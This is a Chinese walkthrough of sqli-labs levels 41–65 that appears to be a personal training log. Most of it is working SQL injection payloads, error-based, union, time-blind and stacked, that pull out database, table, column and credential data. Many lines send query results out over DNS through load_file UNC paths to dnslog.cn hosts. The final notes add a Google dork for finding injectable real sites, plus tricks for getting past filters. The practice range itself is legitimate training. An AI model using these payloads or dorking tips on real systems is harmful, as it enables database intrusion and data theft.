一、sqli-labs靶场
1.轮子模式总结
到目前为止,我总结了一下出现过的轮子,可以得出一个结论,首先需要知道有几个参数,前面6种都是单参数的,多参数的只能通过报错信息得知,用–+还是#也要看报错情况
① n’ union select 1,2, ’
n可以是1,-1,n’后面可接),select后面看情况设置显示位
② ')–+
)可选,'可换成"
③ ‘) --+(
)可换成)),(可换成((,‘可换成"
④ " --+或’ #或’ --+
⑤ ’ and if(1=1, sleep(1), 1)#
⑥ ") and sleep(1) #
⑦ ', 1, 1)#
⑧ ‘) and 1 and (’
⑨ ‘||1||’
⑩ ‘#或‘–+
⑪ 1’) anandd (if(1=1, sleep(1), 1)) anandd('1
⑫
2.Less-41 stacked Query Intiger type blind
a.注入点判断
发现除了输入正确的id值有显示,其他输入都没有显示
怀疑存在时间盲注
输入3 and sleep(1)试下
延迟1秒
输入3 and if(1=1, sleep(1),0)试下
还是延迟1秒
输入3 and if(1=2, sleep(1),0)
没有延迟
证明存在时间盲注点
b.轮子测试
轮子就是3 and if(1,sleep(1), 0)
c.获取数据库名称
测试长度
3 and if(length(database())=8,sleep(1), 0)
说明长度是8
爆破字母
3 and if(substr(substr((database()), 1),1,1) = ‘s’, sleep(1), 1)
接下来我们直接使用堆叠注入,后面的内容略过
d.堆叠注入
3 and if(length(database())=8,sleep(1), 0);
首先查看状态
show variables like ‘%general%’;
使用堆叠注入修改设置
3 and if(length(database())=8,sleep(1), 0);set global general_log = on;
修改成功
接下来我打算使用堆叠注入+外地注入获得更多信息
e.堆叠注入+外带注入获取表名
3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit2,1),‘.6bub0w.dnslog.cn\abc’));#
说明可以通过堆叠注入获取列名
只是外带注入一次只能获取一个值,也不能使用group_concat
f.堆叠注入+外带注入获取列名
3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.6bub0w.dnslog.cn\abc’));#
g.堆叠注入+外带注入获取表内数据
3 and if(length(database())=8,sleep(1), 0);select load_file(concat(‘\\’,(select username from users where id = 8),‘.6bub0w.dnslog.cn\abc’));select load_file(concat(‘\\’,(select password from users where id = 8),‘.6bub0w.dnslog.cn\abc’));#
虽然说堆叠语句只能一个个获取数据,但是我发现它可以这样用,再加一条语句,再加一条,那样也相当于可以获取多个数据了
发现没有都出来了,而且这个方法也省去了测试长度爆破的麻烦,一次性获取数据
3.Less-42 Stacked Query error based
又是二次注入?不是
因为创建用户名的入口被限制了,那只能老老实实找注入点了
a.注入点判断
发现注入点在主界面密码框
触发条件是单数单引号
b.轮子测试
通过报错我们开始构造轮子
报错说明id是 “id’ ‘,即有两层单引号
输入2’ and 1’ --+:near ‘’’ at line 1
输入2’and1–+:near ‘and1–+’’ at line 1
输入2’) and 1:near ‘) and 1’’ at line 1
两个引号怎么闭合不了呢
c.获取数据库名称
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
终于出现了,那么轮子就是
2’ and 1 and ’
由此也可以得到一个经验,看引号判断需要几个and
d.获取表名
2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
e.获取列名
2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
f.获取表内数据
2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
另外发现这里居然还可以用联合注入
g.联合注入获取数据库名
2’ union select 1,2,3 and’
没有报错,居然进去了
改成 2’ union select 1,database(),2 and’
直接拿到数据库名了
h.联合注入获取表名
2’ union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2 and’
i.联合注入获取列名
2’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),2 and’
j.联合注入获取表内数据
2’ union select 1,(select group_concat(username,‘:’, password) from users),2 and’
2’ union select 1,(select group_concat(username,‘:’, password) from users where id=4),2 and’
k.堆叠注入获取数据库名称
1’;select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and ';#
4.Less-43
a.注入点判断
还是密码框存在报错注入,输入1’报
near ‘‘1’’)’ at line 1
猜测应该是’(‘‘id’’)‘,所以轮子应该类似
2’) and 1 and (’
b.轮子测试
输入2’) and 1 and ('没有报错,估计轮子可用
c.获取数据库名称
2’) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and (’
d.获取表名
2’) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and (’
e.获取列名
2’) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and (’
f.获取表内数据
2’) and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and (’
g.联合注入+堆叠注入+外带注入获取数据库名称
奇怪了,这里使用堆叠注入为啥拿不到数据呢
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’));
失败
2’) and updatexml(1,concat(0x7e,(SELECT database())),0x7e);set global general_log = on;#
失败
1’);select load_file(concat(‘\\’,(select database()),‘.kdah15.dnslog.cn\abc’)) and (';#
分析后发现原因可能是前面的报错注入影响了后面的堆叠注入了,因为把前面的报错注入去除就正常了,这也给了我一个教训,不能贪多
但是用联合注入加堆叠注入又可以,说明就是报错注入引起的
2’) union select 1,database(),2;select load_file(concat(‘\\’,(select database()),‘.igqu2e.dnslog.cn\abc’)) ;#
h.联合注入+堆叠注入+外带注入获取表名称
2’) union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),2;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.igqu2e.dnslog.cn\abc’)) ;#
记住外带注入里不要用group_concat,要用limit去指定取哪行
i.联合注入+堆叠注入+外带注入获取列名称
2’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database()),2;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.igqu2e.dnslog.cn\abc’)) ;#
j.联合注入+堆叠注入+外带注入获取表内数据
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select username from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
2’) union select 1,(select group_concat(username,‘:’, password) from users where id=4),2; select load_file(concat(‘\\’,(select password from users where id=4 ),‘.igqu2e.dnslog.cn\abc’)) ;#
5.Less-44
这一关没有报错提示了,看来只能用盲注
a.注入点判断
仍然是密码框存在注入
b.获取数据库名称
2’;select load_file(concat(‘\\’,(select database()),‘.ny8562.dnslog.cn\abc’));
看来这个外带注入还是比较好用,特别是对盲注时,不用再爆破了
c.获取表名
2’;select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.ny8562.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.ny8562.dnslog.cn\abc’));
一次性拿多条数据了
d.获取列名
2’;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.ny8562.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.ny8562.dnslog.cn\abc’)) ;
e.获取表内数据
2’;select load_file(concat(‘\\’,(select username from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
2’;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.ny8562.dnslog.cn\abc’)) ;#
6.Less-45
仍然是密码框注入,需要增加括号闭合
a.获取数据库名称
2’);select load_file(concat(‘\\’,(select database()),‘.xchvq5.dnslog.cn\abc’));
b.获取表名
2’);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 2,1),‘.xchvq5.dnslog.cn\abc’));select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.xchvq5.dnslog.cn\abc’));
c.获取列名
2’);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 1,1),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.xchvq5.dnslog.cn\abc’)) ;
d.获取表内数据
2’);select load_file(concat(‘\\’,(select username from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;select load_file(concat(‘\\’,(select password from users where id=4 ),‘.xchvq5.dnslog.cn\abc’)) ;#
7.Less-46
Please input parameter as SORT with numeric value
a.注入点判断
这关啥意思呢,输啥都看不到结果?
后来才知道需要将参数名设为sort,然后分别输入1,2,3结果都不同,输入4以外报错
输入单引号报错,但是再输入1个单引号报错不会消失
b.轮子测试
1 and 1#
输出正常
c.获取数据库名称
1 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) #
d.获取表名
1 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)#
e.获取列名
1 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) #
f.获取表内数据
1 and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e)#
8.Less-47
a.注入点判断
这一关现在只要不输单引号发现都是这个界面,没有变化了,咋回事
b.轮子测试
看提示,error base single quote,指的是单引号报错,应该需要闭合
2’ and 1 and '没有错误
c.获取数据库名称
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
d.获取表名
2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
e.获取列名
2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
f.获取表内数据
2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
9.Less-48
a.注入点判断
这一关是盲注,只有正常与否两种状态
但是好奇怪,盲注的延迟时间怎么这么久呢
3 and if(1=1,sleep(1),0)#
b.轮子测试
3 and if(1=2,sleep(1), 1) and (1)#
有延迟,显示正确
c.获取数据库名称
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’)))#
外带获取数据库名称,记住不要把外带注入放在if里面
d.获取表名
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’)))#
e.获取列名
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’)))#
f.获取表内数据
3 and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’)))#
10.Less-49
a.注入点判断
单引号出现盲注
b.轮子测试
3’ and if(1=2,sleep(1), 1) and (1) and '#
显示正常
c.获取数据库名称
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select database()),‘.9o20ch.dnslog.cn\abc’))) and '#
d.获取表名
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.9o20ch.dnslog.cn\abc’))) and '#
e.获取列名
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.9o20ch.dnslog.cn\abc’))) and '#
f.获取表内数据
3’ and if(1=2,sleep(1), 1) and (select load_file(concat(‘\\’,(select password from users where id=4 ),‘.9o20ch.dnslog.cn\abc’))) and '#
11.Less-50
a.注入点判断
加入引号发现有报错提示,直接使用报错注入
b.轮子测试
3 and if(1=1,1,0)
显示正常
c.获取数据库名称
3 and if(1=1,updatexml(1,concat(0x7e,(SELECT+database())),0x7e),0)
d.获取表名
3 and if(1=1,updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) ,0)
e.获取列名
3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e),0)
f.获取表内数据
3 and if(1=1,updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e),0)
另外发现这里还可以用堆叠注入
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.d4u0mk.dnslog.cn\abc’))
12.Less-51
a.注入点判断
单引号报错注入
b.轮子测试
2’ and 1 and ’
c.获取数据库名称
2’ and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) and ’
d.获取表名
2’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) and ’
e.获取列名
2’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) and ’
f.获取表内数据
2’ and updatexml(1, concat(0x7e,(select group_concat(username,‘:’, password) from users where id = 4),0x7e), 0x7e) and ’
13.Less-52
a.注入点判断
这一关只有输入1,2,3才有显示,其他一概不显示,
输入3 and if(1=1,sleep(1),0),有延迟,时间盲注
b.轮子测试
使用堆叠注入
3 and if(1=1,sleep(1),0);1;
c.获取数据库名称
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
d.获取表名
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3,1),‘.j6fykz.dnslog.cn\abc’));
e.获取列名
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
f.获取表内数据
3 and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
14.Less-53
这一关和上一关的区别是需要加单引号注入
a.获取数据库名称
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select database()),‘.j6fykz.dnslog.cn\abc’));
b.获取表名
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database()%20 limit 3,1),‘.j6fykz.dnslog.cn\abc’));
c.获取列名
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 3, 1) and table_schema=database() limit 2,1),‘.j6fykz.dnslog.cn\abc’));
d.获取表内数据
3’ and if(1=1,sleep(1),0);select load_file(concat(‘\\’,(select password from users where id=4 ),‘.j6fykz.dnslog.cn\abc’));
15.Less-54
a.注入点判断
54关又不一样了
意思是它会给你10次试错机会,10次还是失败的话重置所有随机数据
首先url输入id
然后输入key,每次报错都会累加已尝试的次数
但是怎么看不到报错呢,是在url里注入吗,id里发现加单引号不显示,再加又有显示,说明存在盲注
b.轮子测试
那么轮子怎么构造呢,对,那就不用管下面那个输入框了,直接url注入就行了
1’ and if(1=1,sleep(1),0) and (1)–+
延迟1秒,说明正确
c.获取数据库名称
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.lx01qu.dnslog.cn\abc’)))–+
数据库名称是challanges
d.获取表名
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.lx01qu.dnslog.cn\abc’)))–+
看来只有一个表
e.获取列名
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.63lr5q.dnslog.cn\abc’)))–+
实际表格如下
f.获取表内数据
首先需要先获取表名和列名,然后带入才能获取数据
vamnq7byet
secret_VEKS
1’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VEKS from vamnq7byet where id=1 ),‘.63lr5q.dnslog.cn\abc’)))–+
下面的输入框输入Sn04znQcZJNl6L0tADgOhcRS提示正确
英文表示:祝贺你成功了
16.Less-55
a.注入点判断
这次可以试错14次,是难度减低了还是提高了
不管他,先看下怎么注入,发现除了数字其他都不显示,看来要盲注了
b.轮子测试
4 and if(1=1,sleep(1),0) and (1)#
出现延时,那轮子应该就是它了
c.获取数据库名称
4 and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.leccsl.dnslog.cn\abc’)))#
单独运行select有数据,但是为啥界面没结果呢
大概是语句哪里还是不对吧,重新构造轮子
- and if(1=1,1,0) and (1)–+
嗯这里有显示才能用,之前的轮子没显示,难怪怎么都没反应,所以记住了,以后构造的轮子一定要显示结果才行
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select database()),‘.f1xl21.dnslog.cn\abc’)))–+
d.获取表名
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.f1xl21.dnslog.cn\abc’)))–+
uhf25xqo3t
e.获取列名
1)and if(1=1,1,0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.f1xl21.dnslog.cn\abc’)))–+
secret_WUAZ
f.获取表内数据
- and if(1=1,1,0) and (select load_file(concat(‘\\’,(select secret_WUAZ from uhf25xqo3t where id=1),‘.f1xl21.dnslog.cn\abc’)))–+
记住,sql语句里不要插入回车符
d7oT09Des0BDFr51bmmpn0Gv
输入这串数字成功过关
17.Less-56
a.注入点判断
还是这种题,看来后面都是这种类型的,单引号盲注报错注入
b.轮子测试
4’) and (1) --+
正常输出,记住了,像这样才是对的
c.获取数据库名称
4’) and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
d.获取表名
4’) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’))) --+
9q15lsxx4o
e.获取列名
4’) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’))) --+
secret_F62S
f.获取表内数据
4’) and (select load_file(concat(‘\\’,(select secret_F62S from 9q15lsxx4o where id=1),‘.6oq86c.dnslog.cn\abc’))) --+
MRS84WI5bRz1wUEPRjwkOTNN
18.Less-57
a.注入点判断
双引号注入,没什么好说的
b.轮子测试
4" and (1)–+
c.获取数据库名称
4" and (select load_file(concat(‘\\’,(select database()),‘.6oq86c.dnslog.cn\abc’))) --+
d.获取表名
4" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.6oq86c.dnslog.cn\abc’)))–+
kxkae71r4p
e.获取列名
4" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.6oq86c.dnslog.cn\abc’)))–+
secret_R3DQ
f.获取表内数据
4" and (select load_file(concat(‘\\’,(select secret_R3DQ from kxkae71r4p where id=1),‘.6oq86c.dnslog.cn\abc’)))–+
qCPyRxfEqRmVzBQYyVQ5Y3h9
19.Less-58
a.注入点判断
终于出现报错注入了
b.轮子测试
2’ and (1) --+
c.获取数据库名称
2’ and (updatexml(1,concat(0x7e,(SELECT+database())),0x7e)) --+
d.获取表名
2’ and (updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e)) --+
k9e8a7yl0f
e.获取列名
2’ and (updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e)) --+
secret_58RO
f.获取表内数据
2’ and (updatexml(1, concat(0x7e,(select secret_58RO from k9e8a7yl0f where id = 1),0x7e), 0x7e)) --+
Vd6Sg7IYEnmoKrdsx3u74wAa
20.Less-59
a.注入点判断
报错注入,不用加引号啥的
b.轮子测试
2 and 1 --+
c.获取数据库名称
2 and updatexml(1,concat(0x7e,(SELECT+database())),0x7e)–+
d.获取表名
2 and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
qi7pnhikpv
e.获取列名
2 and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
secret_OLE6
f.获取表内数据
2 and updatexml(1, concat(0x7e,(select secret_OLE6 from qi7pnhikpv where id = 1),0x7e), 0x7e) --+
2229WftWHjdVjMEaS6yr9O3a
21.Less-60
a.注入点判断
双引号报错注入,但是需要括号闭合
b.轮子测试
3") and 1 --+
c.获取数据库名称
3") and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
d.获取表名
3") and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
hofp86ahow
e.获取列名
3") and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
secret_NAX1
f.获取表内数据
3") and updatexml(1, concat(0x7e,(select secret_NAX1 from hofp86ahow where id = 1),0x7e), 0x7e) --+
0CxW5gDfT4RrJWkO371mJwmU
22.Less-61
a.注入点判断
单引号报错注入,但是需要双括号闭合
b.轮子测试
3’)) and 1 --+
c.获取数据库名称
3’)) and updatexml(1,concat(0x7e,(SELECT+database())),0x7e) --+
d.获取表名
3’)) and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = database()),0x7e), 0x7e) --+
jy0p59437z
e.获取列名
3’)) and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 0,1),0x7e), 0x7e) --+
secret_AX65
f.获取表内数据
3’)) and updatexml(1, concat(0x7e,(select secret_AX65 from jy0p59437z where id = 1),0x7e), 0x7e) --+
zJn62X2QZ1xqyyJLUdkCeqEu
23.Less-62
a.注入点判断
单引号盲注
b.轮子测试
3’) and if(1=1,sleep(1),0) and (1) --+
延迟1秒,另外盲注不需要看显示,报错和联合注入才需要,只看延迟就行
c.获取数据库名称
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
d.获取表名
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
06pq63s5ri
e.获取列名
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
secret_KXH7
f.获取表内数据
3’) and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_KXH7 from 06pq63s5ri where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
eyhWTtqVrtmuDFdoYsQHfs6W
24.Less-63
a.注入点判断
还是单引号盲注,估计还是需要判断闭合
b.轮子测试
3’ and if(1=1,sleep(1),0) and (1) --+
居然不用考虑闭合
c.获取数据库名称
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select database()),‘.vsc4qg.dnslog.cn\abc’))) --+
d.获取表名
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.vsc4qg.dnslog.cn\abc’))) --+
62ru7lcvyu
e.获取列名
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.vsc4qg.dnslog.cn\abc’))) --+
secret_VS47
f.获取表内数据
3’ and if(1=1,sleep(1),0) and (select load_file(concat(‘\\’,(select secret_VS47 from 62ru7lcvyu where id=1),‘.vsc4qg.dnslog.cn\abc’))) --+
TZPD8yDonwQ22CubAiL57IAB
25.Less-64
a.注入点判断
除了输入正确的数字有显示,如果再输入其他符号或字母一概不显示
b.轮子测试
1 and(1)
c.获取数据库名称
1 and(select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’)))
d.获取表名
1 and(select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’)))
Uonkinbilw
e.获取列名
1 and(select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’)))
secret_ZGTB
f.获取表内数据
1 and(select load_file(concat(‘\\’,(select secret_ZGTB from Uonkinbilw where id=1),‘.4kmw9o.dnslog.cn\abc’)))
XYCNXPpkAXJX8UkwpGurdGZL
26.Less-65
终于到最后一关了,大结局,然后就可以去实战了
a.注入点判断
双引号盲注
b.轮子测试
1" and if(1=1, sleep(1),0) and(1) and "
有延迟,if(1=1, sleep(1),0)只是用于判断闭合,实际使用时去掉就行
1" and (1) and "
c.获取数据库名称
1" and (select load_file(concat(‘\\’,(select database()),‘.4kmw9o.dnslog.cn\abc’))) and "
d.获取表名
1" and (select load_file(concat(‘\\’,(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0,1),‘.4kmw9o.dnslog.cn\abc’))) and "
cbkyy6a08r
e.获取列名
1" and (select load_file(concat(‘\\’,(select column_name from information_schema.columns where table_name=(select table_name FROM information_schema.tables WHERE table_schema = database() limit 0, 1) and table_schema=database() limit 2, 1),‘.4kmw9o.dnslog.cn\abc’))) and "
secret_RHAB
f.获取表内数据
1" and (select load_file(concat(‘\\’,(select secret_RHAB from cbkyy6a08r where id=1),‘.4kmw9o.dnslog.cn\abc’))) and "
0r0KwIgn3d1KwEGu1FL3N596
三、笔记
挖掘注入点
谷歌语法:inurl:“?id=”
判断ID是否为数字,可直接在参数值后面加/1 /0,若为数字加/0将报错
若确认是数字,可继续构造poc,如1/if(1,1,0) 1/if(0,1,0)
若使用1/if(1=1,1,0) 或1/if(1 like 1,1,0) 出现永恒之白,可使用1/if(1.=1,1,0) 1/if(1.=2,1,0)等继续进行测试
还可使用1/if(1.=ascii(2) ,1,0) 1/if(1.=hex(2) ,1,0) 1/if(1.=hex(schema()) ,1,0)
如果单引号被过滤,可使用 ‘xxx’ like ‘xx%’
如果截取函数substr及mid被过滤,可考虑left,right 1/if(68.hex(left(schema(),1)),1,0)(68用爆破得出)
获得第一个字母之后可以继续获取后面的字母1/if(6864.like+hex(left(schema(),2)),1,0)
